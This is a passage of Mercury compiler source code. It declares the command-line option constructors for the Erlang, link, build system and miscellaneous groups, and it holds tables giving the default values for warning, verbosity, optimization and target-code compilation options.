Erlang\n    ;       erlang_compiler\n    ;       erlang_interpreter\n    ;       erlang_flags\n    ;       quoted_erlang_flag\n    ;       erlang_include_directory\n    ;       erlang_object_file_extension\n    ;       erlang_native_code\n    ;       erlang_inhibit_trivial_warnings\n\n    % Link options\n    ;       output_file_name\n    ;       ld_flags\n    ;       quoted_ld_flag\n    ;       ld_libflags\n    ;       quoted_ld_libflag\n    ;       link_library_directories\n    ;       runtime_link_library_directories\n    ;       link_libraries\n    ;       link_objects\n    ;       mercury_library_directories\n    ;       mercury_library_directory_special\n    ;       search_library_files_directories\n    ;       search_library_files_directory_special\n    ;       mercury_libraries\n    ;       mercury_library_special\n    ;       mercury_standard_library_directory\n    ;       mercury_standard_library_directory_special\n    ;       init_file_directories\n    ;       init_files\n    ;       trace_init_files\n    ;       linkage\n    ;       linkage_special\n    ;       mercury_linkage\n    ;       mercury_linkage_special\n    ;       strip\n    ;       demangle\n    ;       main\n    ;       allow_undefined\n    ;       use_readline\n    ;       runtime_flags\n    ;       extra_initialization_functions\n    ;       frameworks\n    ;       framework_directories\n\n    % Auto-configured options.\n    ;       shared_library_extension\n    ;       library_extension\n    ;       executable_file_extension\n    ;       link_executable_command\n    ;       link_shared_lib_command\n    ;       create_archive_command\n    ;       create_archive_command_output_flag\n    ;       create_archive_command_flags\n    ;       ranlib_command\n    ;       ranlib_flags\n    ;       mkinit_command\n    ;       mkinit_erl_command\n    ;       demangle_command\n    ;       filtercc_command\n    ;       trace_libs\n    ;       thread_libs\n    ;       hwloc_libs\n    ;       hwloc_static_libs\n    ;       shared_libs\n    ;       math_lib\n    ;       readline_libs\n    ;       linker_opt_separator\n    ;       linker_thread_flags\n    ;       shlib_linker_thread_flags\n    ;       linker_static_flags\n    ;       linker_strip_flag\n    ;       linker_link_lib_flag\n    ;       linker_link_lib_suffix\n    ;       shlib_linker_link_lib_flag\n    ;       shlib_linker_link_lib_suffix\n    ;       linker_debug_flags\n    ;       shlib_linker_debug_flags\n    ;       linker_trace_flags\n    ;       shlib_linker_trace_flags\n    ;       linker_path_flag\n    ;       linker_rpath_flag\n    ;       linker_rpath_separator\n    ;       shlib_linker_rpath_flag\n    ;       shlib_linker_rpath_separator\n    ;       linker_allow_undefined_flag\n    ;       linker_error_undefined_flag\n    ;       shlib_linker_use_install_name\n    ;       shlib_linker_install_name_flag\n    ;       shlib_linker_install_name_path\n    ;       java_archive_command\n\n    % Build system options\n    ;       make\n    ;       keep_going\n    ;       rebuild\n    ;       jobs\n    ;       track_flags\n    ;       invoked_by_mmc_make\n    ;       extra_init_command\n    ;       pre_link_command\n    ;       install_prefix\n    ;       use_symlinks\n    ;       mercury_configuration_directory\n    ;       mercury_configuration_directory_special\n    ;       install_command\n    ;       install_command_dir_option\n    ;       libgrades\n    ;       libgrades_include_components\n    ;       libgrades_exclude_components\n    ;       lib_linkages\n    ;       flags_file\n    ;       options_files\n    ;       config_file\n    ;       options_search_directories\n    ;       use_subdirs\n    ;       use_grade_subdirs\n    ;       search_directories\n    ;       intermod_directories\n    ;       use_search_directories_for_intermod\n    ;       libgrade_install_check\n    ;       order_make_by_timestamp\n    ;       show_make_times\n    ;       extra_library_header\n    ;       restricted_command_line\n    ;       env_type\n    ;       host_env_type\n    ;       target_env_type\n\n    % Miscellaneous Options\n    ;       filenames_from_stdin\n    ;       typecheck_ambiguity_warn_limit\n    ;       typecheck_ambiguity_error_limit\n    ;       help\n    ;       version\n    ;       fullarch\n    ;       cross_compiling\n    ;       local_module_id\n    ;       analysis_file_cache_dir\n    ;       compiler_sufficiently_recent\n            % This option is used to test that the compiler is sufficiently\n            % recent when no other test can easily be constructed in\n            % configure.in.\n\n    ;       experiment\n            % This option is provided for use by implementors who want to\n            % compare a new way of doing something with the old way. The idea\n            % is that the code that switches between the two ways should\n            % consult this option and make its decision accordingly.\n            %\n            % The intention is that all use of this option is within developer\n            % workspaces; no code using this option should be committed.\n            %\n            % Of course, a developer could always create a purpose-specific\n            % option to control their code, but adding an option requires\n            % recompiling most of the modules in the compiler. Having this\n            % option permanently here should reduce the need for that.\n\n    ;       ignore_par_conjunctions\n    ;       control_granularity\n    ;       distance_granularity\n    ;       implicit_parallelism\n    ;       feedback_file\n    ;       par_loop_control\n    ;       par_loop_control_preserve_tail_recursion.\n\n%----------------------------------------------------------------------------%\n%----------------------------------------------------------------------------%\n\n:- implementation.\n\n:- import_module libs.handle_options.\n\n:- import_module assoc_list.\n:- import_module bool.\n:- import_module dir.\n:- import_module int.\n:- import_module list.\n:- import_module map.\n:- import_module maybe.\n:- import_module pair.\n:- import_module require.\n:- import_module string.\n\n%----------------------------------------------------------------------------%\n\n:- type option_category\n    --->    warning_option\n    ;       verbosity_option\n    ;       output_option\n    ;       aux_output_option\n    ;       language_semantics_option\n    ;       compilation_model_option\n    ;       internal_use_option\n    ;       code_gen_option\n    ;       special_optimization_option\n    ;       optimization_option\n    ;       target_code_compilation_option\n    ;       link_option\n    ;       build_system_option\n    ;       miscellaneous_option.\n\noption_defaults(Option, Default) :-\n    option_defaults_2(_Category, OptionsList),\n    list.member(Option - Default, OptionsList).\n\n:- pred option_defaults_2(option_category, list(pair(option, option_data))).\n:- mode option_defaults_2(in, out) is det.\n:- mode option_defaults_2(out, out) is multi.\n\noption_defaults_2(warning_option, [\n    % Warning Options\n    inhibit_warnings                    -   bool_special,\n    inhibit_accumulator_warnings        -   bool(no),\n    halt_at_warn                        -   bool(no),\n    halt_at_syntax_errors               -   bool(no),\n    halt_at_auto_parallel_failure       -   bool(no),\n\n    % IMPORTANT NOTE:\n    % if you add any new warning options, or if you change the default\n    % for an existing warning option to `yes', then you will need to modify\n    % the handling of inhibit_warnings.\n\n    warn_singleton_vars                 -   bool(yes),\n    warn_overlapping_scopes             -   bool(yes),\n    warn_det_decls_too_lax              -   bool(yes),\n    warn_inferred_erroneous             -   bool(yes),\n    warn_nothing_exported               -   bool(yes),\n    warn_unused_args                    -   bool(no),\n    warn_interface_imports              -   bool(yes),\n    warn_non_contiguous_clauses         -   bool(no),   % XXX should be yes\n    warn_non_contiguous_foreign_procs   -   bool(no),\n    warn_non_stratification             -   bool(no),\n    warn_missing_opt_files              -   bool(yes),\n    warn_missing_trans_opt_files        -   bool(no),\n    warn_missing_trans_opt_deps         -   bool(yes),\n    warn_unification_cannot_succeed     -   bool(yes),\n    warn_simple_code                    -   bool(yes),\n    warn_duplicate_calls                -   bool(no),\n    warn_missing_module_name            -   bool(yes),\n    warn_wrong_module_name              -   bool(yes),\n    warn_smart_recompilation            -   bool(yes),\n    warn_undefined_options_variables    -   bool(yes),\n    warn_non_tail_recursion             -   bool(no),\n    warn_target_code                    -   bool(yes),\n    warn_up_to_date                     -   bool(yes),\n    warn_stubs                          -   bool(yes),\n    warn_dead_procs                     -   bool(no),\n    warn_table_with_inline              -   bool(yes),\n    warn_non_term_special_preds         -   bool(yes),\n    warn_known_bad_format_calls         -   bool(yes),\n    warn_unknown_format_calls           -   bool(no),\n    warn_obsolete                       -   bool(yes),\n    warn_insts_without_matching_type    -   bool(yes),\n        % XXX disabled by default until someone\n        % removes all the unused imports from\n        % the compiler itself which is compiled\n        % with --halt-at-warn by default.\n    warn_unused_imports                 -   bool(no),\n    inform_ite_instead_of_switch        -   bool(no),\n    warn_unresolved_polymorphism        -   bool(yes),\n    warn_suspicious_foreign_procs       -   bool(no),\n    warn_state_var_shadowing            -   bool(yes),\n    inform_inferred                     -   bool_special,\n    inform_inferred_types               -   bool(yes),\n    inform_inferred_modes               -   bool(yes)\n]).\noption_defaults_2(verbosity_option, [\n    % Verbosity Options\n    verbose                             -   bool(no),\n    very_verbose                        -   bool(no),\n    verbose_errors                      -   bool(no),\n    verbose_recompilation               -   bool(no),\n    find_all_recompilation_reasons      -   bool(no),\n    verbose_make                        -   bool(yes),\n    verbose_commands                    -   bool(no),\n    output_compile_error_lines          -   int(15),\n    report_cmd_line_args                -   bool(no),\n    report_cmd_line_args_in_doterr      -   bool(no),\n    statistics                          -   bool(no),\n    detailed_statistics                 -   bool(no),\n    proc_size_statistics                -   string(\"\"),\n    debug_types                         -   bool(no),\n    debug_modes                         -   bool(no),\n    debug_modes_statistics              -   bool(no),\n    debug_modes_minimal                 -   bool(no),\n    debug_modes_verbose                 -   bool(no),\n    debug_modes_pred_id                 -   int(-1),\n    debug_dep_par_conj                  -   accumulating([]),\n    debug_det                           -   bool(no),\n    debug_code_gen_pred_id              -   int(-1),\n    debug_term                          -   bool(no),\n    debug_opt                           -   bool(no),\n    debug_opt_pred_id                   -   accumulating([]),\n    debug_opt_pred_name                 -   accumulating([]),\n    debug_pd                            -   bool(no),\n    debug_il_asm                        -   bool(no),\n    debug_liveness                      -   int(-1),\n    debug_stack_opt                     -   int(-1),\n    debug_make                          -   bool(no),\n    debug_closure                       -   bool(no),\n    debug_trail_usage                   -   bool(no),\n    debug_mode_constraints              -   bool(no),\n    debug_intermodule_analysis          -   bool(no),\n    debug_mm_tabling_analysis           -   bool(no),\n    debug_indirect_reuse                -   bool(no),\n    debug_type_rep                      -   bool(no)\n]).\noption_defaults_2(output_option, [\n    % Output Options (mutually exclusive)\n    generate_source_file_mapping        -   bool(no),\n    generate_dependency_file            -   bool(no),\n    generate_dependencies               -   bool(no),\n    generate_module_order               -   bool(no),\n    generate_standalone_interface       -   maybe_string(no),\n    make_short_interface                -   bool(no),\n    make_interface                      -   bool(no),\n    make_private_interface              -   bool(no),\n    make_optimization_interface         -   bool(no),\n    make_transitive_opt_interface       -   bool(no),\n    make_analysis_registry              -   bool(no),\n    make_xml_documentation              -   bool(no),\n    convert_to_mercury                  -   bool(no),\n    typecheck_only                      -   bool(no),\n    errorcheck_only                     -   bool(no),\n    target_code_only                    -   bool(no),\n    compile_only                        -   bool(no),\n    compile_to_shared_lib               -   bool(no),\n    output_grade_string                 -   bool(no),\n    output_link_command                 -   bool(no),\n    output_shared_lib_link_command      -   bool(no),\n    output_libgrades                    -   bool(no),\n    output_cc                           -   bool(no),\n    output_c_compiler_type              -   bool(no),\n    output_csharp_compiler_type         -   bool(no),\n    output_cflags                       -   bool(no),\n    output_library_link_flags           -   bool(no),\n    output_grade_defines                -   bool(no),\n    output_c_include_directory_flags    -   bool(no)\n]).\noption_defaults_2(aux_output_option, [\n    % Auxiliary Output Options\n    smart_recompilation                 -   bool(no),\n    generate_item_version_numbers       -   bool(no),\n    generate_mmc_make_module_dependencies - bool(no),\n    assume_gmake                        -   bool(yes),\n    trace_level                         -   string(\"default\"),\n    trace_optimized                     -   bool(no),\n    trace_prof                          -   bool(no),\n    trace_table_io                      -   bool(no),\n    trace_table_io_only_retry           -   bool(no),\n    trace_table_io_states               -   bool(no),\n    trace_table_io_require              -   bool(no),\n    trace_table_io_all                  -   bool(no),\n    trace_goal_flags                    -   accumulating([]),\n    prof_optimized                      -   bool(no),\n    exec_trace_tail_rec                 -   bool(no),\n    suppress_trace                      -   string(\"\"),\n    force_disable_tracing               -   bool(no),\n    delay_death                         -   bool(yes),\n    delay_death_max_vars                -   int(1000),\n    stack_trace_higher_order            -   bool(no),\n    force_disable_ssdebug               -   bool(no),\n    generate_bytecode                   -   bool(no),\n    line_numbers                        -   bool(yes),\n    auto_comments                       -   bool(no),\n    frameopt_comments                   -   bool(no),\n    max_error_line_width                -   int(79),\n    show_dependency_graph               -   bool(no),\n    imports_graph                       -   bool(no),\n    dump_trace_counts                   -   accumulating([]),\n    dump_hlds                           -   accumulating([]),\n    dump_hlds_pred_id                   -   accumulating([]),\n    dump_hlds_pred_name                 -   accumulating([]),\n    dump_hlds_alias                     -   string(\"\"),\n    dump_hlds_options                   -   string(\"\"),\n    dump_hlds_inst_limit                -   int(100),\n    dump_hlds_file_suffix               -   string(\"\"),\n    dump_same_hlds                      -   bool(no),\n    dump_mlds                           -   accumulating([]),\n    verbose_dump_mlds                   -   accumulating([]),\n    mode_constraints                    -   bool(no),\n    simple_mode_constraints             -   bool(no),\n    prop_mode_constraints               -   bool(no),\n    benchmark_modes                     -   bool(no),\n    benchmark_modes_repeat              -   int(1),\n    sign_assembly                       -   bool(no),\n    % XXX should default to no but currently broken\n    separate_assemblies                 -   bool(yes)\n]).\noption_defaults_2(language_semantics_option, [\n    strict_sequential                   -   special,\n    reorder_conj                        -   bool(yes),\n    reorder_disj                        -   bool(yes),\n    fully_strict                        -   bool(yes),\n    allow_stubs                         -   bool(no),\n    infer_types                         -   bool(no),\n    infer_modes                         -   bool(no),\n    infer_det                           -   bool(yes),\n    infer_all                           -   bool_special,\n    type_inference_iteration_limit      -   int(60),\n    mode_inference_iteration_limit      -   int(30),\n    event_set_file_name                 -   string(\"\")\n]).\noption_defaults_2(compilation_model_option, [\n    % Compilation model options (ones that affect binary compatibility).\n    grade                               -   string_special,\n    % The `mmc' script will pass the default grade determined\n    % at configuration time.\n\n    % Target selection compilation model options\n    target                              -   string(\"c\"),\n    il                                  -   special,\n    il_only                             -   special,\n    compile_to_c                        -   special,\n    csharp                              -   special,\n    csharp_only                         -   special,\n    java                                -   special,\n    java_only                           -   special,\n    x86_64                              -   special,\n    x86_64_only                         -   special,\n    erlang                              -   special,\n    erlang_only                         -   special,\n\n    % Optional feature compilation model options:\n    % (a) Debuggging\n    exec_trace                          -   bool(no),\n    decl_debug                          -   bool(no),\n    % (b) Profiling\n    profiling                           -   bool_special,\n    time_profiling                      -   special,\n    memory_profiling                    -   special,\n    deep_profiling                      -   special,\n    profile_calls                       -   bool(no),\n    profile_time                        -   bool(no),\n    profile_memory                      -   bool(no),\n    profile_deep                        -   bool(no),\n    use_activation_counts               -   bool(no),\n    pre_prof_transforms_simplify        -   bool(no),\n    pre_implicit_parallelism_simplify   -   bool(no),\n    coverage_profiling                  -   bool(yes),\n    coverage_profiling_via_calls        -   bool(no),\n    coverage_profiling_static           -   bool(no),\n    profile_deep_coverage_after_goal    -   bool(yes),\n    profile_deep_coverage_branch_ite    -   bool(yes),\n    profile_deep_coverage_branch_switch -   bool(yes),\n    profile_deep_coverage_branch_disj   -   bool(yes),\n    profile_deep_coverage_use_portcounts -  bool(no),\n    profile_deep_coverage_use_trivial   -   bool(no),\n    profile_for_feedback                -   bool(no),\n    use_zeroing_for_ho_cycles           -   bool(yes),\n    use_lots_of_ho_specialization       -   bool(no),\n    deep_profile_tail_recursion         -   bool(no),\n    record_term_sizes_as_words          -   bool(no),\n    record_term_sizes_as_cells          -   bool(no),\n    experimental_complexity             -   string(\"\"),\n    % (c) Miscellaneous optional features\n    gc                                  -   string(\"boehm\"),\n    parallel                            -   bool(no),\n    threadscope                         -   bool(no),\n    use_trail                           -   bool(no),\n    trail_segments                      -   bool(no),\n    maybe_thread_safe_opt               -   string(\"no\"),\n    extend_stacks_when_needed           -   bool(no),\n    stack_segments                      -   bool(no),\n    use_regions                         -   bool(no),\n    use_alloc_regions                   -   bool(yes),\n    use_regions_debug                   -   bool(no),\n    use_regions_profiling               -   bool(no),\n    use_minimal_model_stack_copy        -   bool(no),\n    use_minimal_model_own_stacks        -   bool(no),\n    minimal_model_debug                 -   bool(no),\n    single_prec_float                   -   bool(no),\n    type_layout                         -   bool(yes),\n    source_to_source_debug              -   bool(no),\n    ssdb_trace_level                    -   string(\"default\"),\n    link_ssdb_libs                      -   bool(no),\n\n    % Data representation compilation model options\n    pic_reg                             -   bool(no),\n    tags                                -   string(\"low\"),\n    num_tag_bits                        -   int(-1),\n                                        % -1 is a special value which means\n                                        % use the value of conf_low_tag_bits\n                                        % instead\n    num_reserved_addresses              -   int(0),\n    num_reserved_objects                -   int(0),\n    bits_per_word                       -   int(32),\n                                        % A good default for the current\n                                        % generation of architectures.\n    bytes_per_word                      -   int(4),\n                                        % A good default for the current\n                                        % generation of architectures.\n    conf_low_tag_bits                   -   int(2),\n                                        % The `mmc' script will override the\n                                        % above default with a value determined\n                                        % at configuration time.\n    sync_term_size                      -   int(8),\n                                        % 8 is the size on linux (at the time\n                                        % of writing) - will usually be\n                                        % overridden by a value from configure.\n    unboxed_float                       -   bool(no),\n    unboxed_enums                       -   bool(yes),\n    unboxed_no_tag_types                -   bool(yes),\n\n    % LLDS back-end compilation model options\n    gcc_non_local_gotos                 -   bool(yes),\n    gcc_global_registers                -   bool(yes),\n    asm_labels                          -   bool(yes),\n    use_float_registers                 -   bool(yes),\n\n    % MLDS back-end compilation model options\n    highlevel_code                      -   bool(no),\n    highlevel_data                      -   bool(no),\n    gcc_nested_functions                -   bool(no),\n    det_copy_out                        -   bool(no),\n    nondet_copy_out                     -   bool(no),\n    put_commit_in_own_func              -   bool(no),\n    put_nondet_env_on_heap              -   bool(no),\n\n    % IL back-end compilation model options\n    verifiable_code                     -   bool(no),\n    il_funcptr_types                    -   bool(no),\n    il_refany_fields                    -   bool(no),\n    il_byref_tailcalls                  -   bool(no)\n]).\noption_defaults_2(internal_use_option, [\n    % Options for internal use only\n    backend_foreign_languages           -  accumulating([]),\n                                        % The backend_foreign_languages option\n                                        % depends on the target and is set in\n                                        % handle_options.\n    stack_trace                         -   bool(no),\n    basic_stack_layout                  -   bool(no),\n    agc_stack_layout                    -   bool(no),\n    procid_stack_layout                 -   bool(no),\n    trace_stack_layout                  -   bool(no),\n    body_typeinfo_liveness              -   bool(no),\n    can_compare_constants_as_ints       -   bool(no),\n    pretest_equality_cast_pointers      -   bool(no),\n    can_compare_compound_values         -   bool(no),\n    lexically_order_constructors        -   bool(no),\n    mutable_always_boxed                -   bool(yes),\n    delay_partial_instantiations        -   bool(no),\n    allow_defn_of_builtins              -   bool(no),\n    special_preds                       -   bool(yes),\n    type_ctor_info                      -   bool(yes),\n    type_ctor_layout                    -   bool(yes),\n    type_ctor_functors                  -   bool(yes),\n    rtti_line_numbers                   -   bool(yes),\n    new_type_class_rtti                 -   bool(no),\n    disable_minimal_model_stack_copy_pneg - bool(no),\n    disable_minimal_model_stack_copy_cut -  bool(no),\n    use_minimal_model_stack_copy_pneg   -   bool(no),\n    use_minimal_model_stack_copy_cut    -   bool(no),\n    disable_trail_ops                   -   bool(no),\n    % The size_* values below *must* be consistent with the corresponding\n    % values or data structures in mercury_region.h.\n    size_region_ite_fixed               -   int(4),\n    size_region_disj_fixed              -   int(4),\n    size_region_commit_fixed            -   int(5),\n    size_region_ite_protect             -   int(1),\n    size_region_ite_snapshot            -   int(3),\n    size_region_semi_disj_protect       -   int(1),\n    size_region_disj_snapshot           -   int(3),\n    size_region_commit_entry            -   int(1),\n    solver_type_auto_init               -   bool(no),\n    allow_multi_arm_switches            -   bool(yes),\n    type_check_constraints              -   bool(no),\n    allow_argument_packing              -   bool(yes)\n]).\noption_defaults_2(code_gen_option, [\n    % Code Generation Options\n    low_level_debug                     -   bool(no),\n    table_debug                         -   bool(no),\n    trad_passes                         -   bool(yes),\n    parallel_liveness                   -   bool(no),\n    parallel_code_gen                   -   bool(no),\n    polymorphism                        -   bool(yes),\n    reclaim_heap_on_failure             -   bool_special,\n    reclaim_heap_on_semidet_failure     -   bool(yes),\n    reclaim_heap_on_nondet_failure      -   bool(yes),\n    have_delay_slot                     -   bool(no),\n                                        % The `mmc' script may override the\n                                        % above default if configure says\n                                        % the machine has branch delay slots.\n    num_real_r_regs                     -   int(5),\n    num_real_f_regs                     -   int(0),\n    num_real_r_temps                    -   int(5),\n    num_real_f_temps                    -   int(0),\n                                        % The `mmc' script will override the\n                                        % above defaults with values determined\n                                        % at configuration time.\n    max_jump_table_size                 -   int(0),\n                                        % 0 indicates any size.\n    max_specialized_do_call_closure     -   int(5),\n                                        % mercury.do_call_closure_N\n                                        % exists for N <= option_value;\n                                        % set to -1 to disable.\n                                        % Should be less than or equal to\n                                        % max_spec_explicit_arg\n                                        % in tools/make_spec_ho_call.\n    max_specialized_do_call_class_method -  int(6),\n                                        % mercury.do_call_class_method_N\n                                        % exists for N <= option_value;\n                                        % set to -1 to disable.\n                                        % Should be less than or equal to\n                                        % max_spec_explicit_arg\n                                        % in tools/make_spec_method_call.\n    compare_specialization              -   int(-1),\n                                        % -1 asks handle_options.m to give\n                                        % the value, which may be grade\n                                        % dependent.\n    should_pretest_equality             -   bool(yes),\n    fact_table_max_array_size           -   int(1024),\n    fact_table_hash_percent_full        -   int(90),\n    gcc_local_labels                    -   bool(no),\n    prefer_switch                       -   bool(yes),\n    opt_no_return_calls                 -   bool(yes)\n]).\noption_defaults_2(special_optimization_option, [\n    % Special optimization options.\n    % These ones are not affected by `-O<n>'.\n    opt_level                           -   int_special,\n    opt_level_number                    -   int(-2),\n    opt_space                           -   special,\n    intermodule_optimization            -   bool(no),\n    read_opt_files_transitively         -   bool(yes),\n    use_opt_files                       -   bool(no),\n    use_trans_opt_files                 -   bool(no),\n    transitive_optimization             -   bool(no),\n    intermodule_analysis                -   bool(no),\n    analysis_repeat                     -   int(0),\n    analysis_file_cache                 -   bool(no),\n    termination_check                   -   bool(no),\n    verbose_check_termination           -   bool(no),\n    structure_sharing_analysis          -   bool(no),\n    structure_sharing_widening          -   int(0),\n    structure_reuse_analysis            -   bool(no),\n    structure_reuse_constraint        -   string(\"within_n_cells_difference\"),\n    structure_reuse_constraint_arg      -   int(0),\n    structure_reuse_max_conditions      -   int(10),\n    structure_reuse_repeat              -   int(0),\n    structure_reuse_free_cells          -   bool(no),\n    termination                         -   bool(no),\n    termination_single_args             -   int(0),\n    termination_norm                    -   string(\"total\"),\n    termination_error_limit             -   int(3),\n    termination_path_limit              -   int(256),\n    termination2                        -   bool(no),\n    termination2_norm                   -   string(\"total\"),\n    check_termination2                  -   bool(no),\n    verbose_check_termination2          -   bool(no),\n    widening_limit                      -   int(4),\n    arg_size_analysis_only              -   bool(no),\n    propagate_failure_constrs           -   bool(yes),\n    % XXX This is just a guess - I'm not sure what sensible\n    % value for this is.\n    term2_maximum_matrix_size           -   int(70),\n    analyse_exceptions                  -   bool(no),\n    analyse_closures                    -   bool(no),\n    analyse_trail_usage                 -   bool(no),\n    optimize_trail_usage                -   bool(no),\n    optimize_region_ops                 -   bool(no),\n    analyse_mm_tabling                  -   bool(no)\n]).\noption_defaults_2(optimization_option, [\n    % Optimization options\n    %\n    % IMPORTANT: the default here should be all optimizations OFF.\n    % Optimizations should be enabled by the appropriate\n    % optimization level in the opt_level table.\n\n    % HLDS\n    allow_inlining                      -   bool(yes),\n    inlining                            -   bool_special,\n    inline_simple                       -   bool(no),\n    inline_builtins                     -   bool(yes),\n    inline_single_use                   -   bool(no),\n    inline_call_cost                    -   int(0),\n    inline_compound_threshold           -   int(0),\n    inline_simple_threshold             -   int(5),\n                                        % Has no effect until\n                                        % --inline-simple is enabled.\n    inline_vars_threshold               -   int(100),\n    intermod_inline_simple_threshold    -   int(5),\n                                        % Has no effect until\n                                        % --intermodule-optimization.\n    from_ground_term_threshold          -   int(5),\n    enable_const_struct                 -   bool(yes),\n    common_struct                       -   bool(no),\n    common_struct_preds                 -   string(\"\"),\n    common_goal                         -   bool(yes),\n                                        % common_goal is not really an\n                                        % optimization, since it affects\n                                        % the semantics.\n\n    constraint_propagation              -   bool(no),\n    local_constraint_propagation        -   bool(no),\n    optimize_duplicate_calls            -   bool(no),\n    constant_propagation                -   bool(no),\n    excess_assign                       -   bool(no),\n    optimize_format_calls               -   bool(yes),\n    loop_invariants                     -   bool(no),\n    optimize_saved_vars_const           -   bool(no),\n    optimize_saved_vars_cell            -   bool(no),\n    optimize_saved_vars_cell_loop       -   bool(yes),\n    optimize_saved_vars_cell_full_path  -   bool(yes),\n    optimize_saved_vars_cell_on_stack   -   bool(yes),\n    optimize_saved_vars_cell_candidate_headvars -   bool(yes),\n    optimize_saved_vars_cell_cv_store_cost - int(3),\n    optimize_saved_vars_cell_cv_load_cost  - int(1),\n    optimize_saved_vars_cell_fv_store_cost - int(1),\n    optimize_saved_vars_cell_fv_load_cost  - int(1),\n    optimize_saved_vars_cell_op_ratio   -   int(100),\n    optimize_saved_vars_cell_node_ratio -   int(100),\n    optimize_saved_vars_cell_all_path_node_ratio    - int(100),\n    optimize_saved_vars_cell_include_all_candidates - bool(yes),\n    optimize_saved_vars                 -   bool_special,\n    delay_construct                     -   bool(no),\n    follow_code                         -   bool(no),\n    optimize_unused_args                -   bool(no),\n    intermod_unused_args                -   bool(no),\n    optimize_higher_order               -   bool(no),\n    higher_order_size_limit             -   int(20),\n    higher_order_arg_limit              -   int(10),\n    unneeded_code                       -   bool(no),\n    unneeded_code_copy_limit            -   int(10),\n    unneeded_code_debug                 -   bool(no),\n    unneeded_code_debug_pred_name       -   accumulating([]),\n    type_specialization                 -   bool(no),\n    user_guided_type_specialization     -   bool(no),\n    introduce_accumulators              -   bool(no),\n    optimize_constructor_last_call_accumulator -    bool(no),\n    optimize_constructor_last_call_null -   bool(no),\n    optimize_constructor_last_call      -   bool(no),\n    optimize_dead_procs                 -   bool(no),\n    deforestation                       -   bool(no),\n    deforestation_depth_limit           -   int(4),\n    deforestation_cost_factor           -   int(1000),\n    deforestation_vars_threshold        -   int(200),\n    deforestation_size_threshold        -   int(15),\n    untuple                             -   bool(no),\n    tuple                               -   bool(no),\n    tuple_trace_counts_file             -   string(\"\"),\n    tuple_costs_ratio                   -   int(100),\n    tuple_min_args                      -   int(4),\n    inline_par_builtins                 -   bool(no),\n    always_specialize_in_dep_par_conjs  -   bool(no),\n    allow_some_paths_only_waits         -   bool(yes),\n    region_analysis                     -   bool(no),\n\n    % HLDS -> LLDS\n    smart_indexing                      -   bool(no),\n    dense_switch_req_density            -   int(25),\n                                        % Minimum density before using\n                                        % a dense switch.\n    lookup_switch_req_density           -   int(25),\n                                        % Minimum density before using\n                                        % a lookup switch.\n    dense_switch_size                   -   int(4),\n    lookup_switch_size                  -   int(4),\n    string_hash_switch_size             -   int(8),\n    string_binary_switch_size           -   int(4),\n    tag_switch_size                     -   int(3),\n    try_switch_size                     -   int(3),\n    binary_switch_size                  -   int(4),\n    switch_single_rec_base_first        -   bool(no),\n    switch_multi_rec_base_first         -   bool(yes),\n    static_ground_cells                 -   bool(no),\n    static_ground_floats                -   bool(no),\n    static_code_addresses               -   bool(no),\n    use_atomic_cells                    -   bool(no),\n    middle_rec                          -   bool(no),\n    simple_neg                          -   bool(no),\n    allow_hijacks                       -   bool(yes),\n\n    % MLDS\n    optimize_tailcalls                  -   bool(no),\n    optimize_initializations            -   bool(no),\n    eliminate_local_vars                -   bool(no),\n    generate_trail_ops_inline           -   bool(yes),\n\n    % LLDS\n    common_data                         -   bool(no),\n    common_layout_data                  -   bool(yes),\n    optimize                            -   bool(no),\n    optimize_peep                       -   bool(no),\n    optimize_peep_mkword                -   bool(no),\n    optimize_jumps                      -   bool(no),\n    optimize_fulljumps                  -   bool(no),\n    pessimize_tailcalls                 -   bool(no),\n    checked_nondet_tailcalls            -   bool(no),\n    use_local_vars                      -   bool(no),\n    local_var_access_threshold          -   int(2),\n    standardize_labels                  -   bool(no),\n    optimize_labels                     -   bool(no),\n    optimize_dups                       -   bool(no),\n    optimize_proc_dups                  -   bool(no),\n    optimize_frames                     -   bool(no),\n    optimize_delay_slot                 -   bool(no),\n    optimize_reassign                   -   bool(no),\n    optimize_repeat                     -   int(0),\n    layout_compression_limit            -   int(4000),\n\n    % LLDS -> C\n    use_macro_for_redo_fail             -   bool(no),\n    emit_c_loops                        -   bool(no),\n    procs_per_c_function                -   int(1),\n    everything_in_one_c_function        -   special,\n    local_thread_engine_base            -   bool(yes),\n\n    % Erlang\n    erlang_switch_on_strings_as_atoms   -   bool(no)\n]).\noption_defaults_2(target_code_compilation_option, [\n    % Target code compilation options\n    target_debug                        -   bool(no),\n\n    % C\n    cc                                  -   string(\"gcc\"),\n                                        % The `mmc' script will override the\n                                        % default with a value determined at\n                                        % configuration time.\n    c_include_directory                 -   accumulating([]),\n                                        % The `mmc' script will override the\n                                        % default with a value determined at\n                                        % configuration time.\n    c_optimize                          -   bool(no),\n    ansi_c                              -   bool(yes),\n    inline_alloc                        -   bool(no),\n    cflags                              -   accumulating([]),\n    quoted_cflag                        -   string_special,\n\n    gcc_flags                           -   accumulating([]),\n    quoted_gcc_flag                     -   string_special,\n    clang_flags                         -   accumulating([]),\n    quoted_clang_flag                   -   string_special,\n    msvc_flags                          -   accumulating([]),\n    quoted_msvc_flag                    -   string_special,\n\n    cflags_for_warnings                 -   string(\"\"),\n                                        % The `mmc' script will override the\n                                        % default with values determined at\n                                        % configuration time.\n    cflags_for_optimization             -   string(\"-O\"),\n    cflags_for_ansi                     -   string(\"\"),\n    cflags_for_regs                     -   string(\"\"),\n    cflags_for_gotos                    -   string(\"\"),\n    cflags_for_threads                  -   string(\"\"),\n    cflags_for_debug                    -   string(\"-g\"),\n    cflags_for_pic                      -   string(\"\"),\n    c_flag_to_name_object_file          -   string(\"-o \"),\n    object_file_extension               -   string(\".o\"),\n    pic_object_file_extension           -   string(\".o\"),\n    link_with_pic_object_file_extension -   string(\".o\"),\n    c_compiler_type                     -   string(\"gcc\"),\n    csharp_compiler_type                -   string(\"mono\"),\n                                        % The `mmc' script will override the\n                                        % default with a value determined at\n                                        % configuration time for the above\n                                        % two options\n    % Java\n    java_compiler                       -   string(\"javac\"),\n    java_interpreter                    -   string(\"java\"),\n    java_flags                          -   accumulating([]),\n    quoted_java_flag                    -   string_special,\n    java_classpath                      -   accumulating([]),\n    java_object_file_extension          -   string(\".class\"),\n\n    % IL\n    il_assembler                        -   string(\"ilasm\"),\n    ilasm_flags                         -   accumulating([]),\n    quoted_ilasm_flag                   -   string_special,\n    dotnet_library_version              -   string(\"1.0.3300.0\"),\n                                        % We default to the version of the\n                                        % library that came with Beta2.\n    support_ms_clr                      -   bool(yes),\n    support_rotor_clr                   -   bool(no),\n\n    % C#\n    csharp_compiler                     -   string(\"csc\"),\n    csharp_flags                        -   accumulating([]),\n    quoted_csharp_flag                  - 